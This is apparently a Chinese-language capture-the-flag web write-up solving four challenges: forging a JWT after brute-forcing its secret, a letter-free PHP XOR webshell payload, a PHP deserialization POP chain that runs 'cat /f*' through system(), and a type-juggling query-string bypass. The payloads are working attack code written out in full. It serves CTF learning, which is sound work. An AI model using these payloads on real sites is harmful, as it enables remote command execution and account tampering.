web

BuyBuyBuy

image-20230115170900853

打开题目 发现是买flag的题目 题目还给了源码,这不是送分吗(狗头)

image-20230115171139731

一共两处地方,/login和/buyflag 而且通过查看源码和题目的cookie,发现是一道jwt类型的题目

然后就去了解了一下,jwt是什么,然后就知道是通过修改cookie来获得flag的。

jwt解密网站https://jwt.io/

image-20230115171545935

访问/login然后输入get传个usrname的参数,就可以拿到cookie值,然后拿去jwt解密网站去解密

image-20230115171709619

secret不知道 大概去找了找,没找到,就直接利用工具去破解拿到secret了。

利用jwt爆破攻击爆破
下载地址https://github.com/brendan-rius/c-jwt-cracker具体安装方法文档中有。
使用方法 ./jwtcrack jwt

image-20230115171846564

然后拿到secret,就去jwt解密网站去修改money和secret

image-20230115172145729

然后就去访问/buyflag去买flag。

image-20230115172114903

然后就拿到flag了。

EasyRCE

image-20230115172921998

一道无数字字母的rce (大写字母其实可以不加)(狗头)

直接上网找就行了,网上有payload

payload

1
2
3
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);

// 密码为 "_"

image-20230115173206199

拿到flag.

EzPOP

image-20230115173342461

一道php的反序列化pop链的构造,

1
思路是这样的通过__destruct()  ->  __toString()   ->__get()  ->   __invoke()

就是这样的一条链子,他的难点在与怎么传参的问题。

这个问题也困扰了我好久

然后经过漫长长长的尝试,然后就尝试成功了,我们可以构造一个新的函数来进行传参。

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
class AAA {
private $cmd='cat /f*';

public function aa($eee)
{
$this->cmd=$eee;
}
public function __destruct()
{
echo "This is cmd :".$this->cmd;
}
public function __invoke()
{
system($this->cmd);
}
}

class BBB {
protected $name;

public function bb($eee)
{
$this->name=$eee;
}
public function __toString()
{
return $this -> name -> obj;
}
}

class EEE {
public $var;
public function __get($var){
($this->var)();
}
}
$a=new AAA();
$aa=new AAA();
$b=new BBB();
$c=new EEE();
$a->aa($b);
$b->bb($c);
$c->var=$aa;
echo urlencode(serialize($a));

然后拿生成的链子去打就能拿到flag了。

HappyNewYear

image-20230115174012742

一道简单的关于php特性的题目

绕过第一层判断可以利用数字加字母的形式就行了,字母必须得加在数字的后面,不然会被判断为0;

第二层判断可以在本地来进行判断,因为可能传的payload错了,但不知道是哪边没过 这里可以利用%0a进行绕过。

payload

1
?year=2023a&key=happyNewYear%0a

image-20230115174511475

剩下的java反序列化 和一道长长的反序列化题,目前水平不够,解不了了。。。。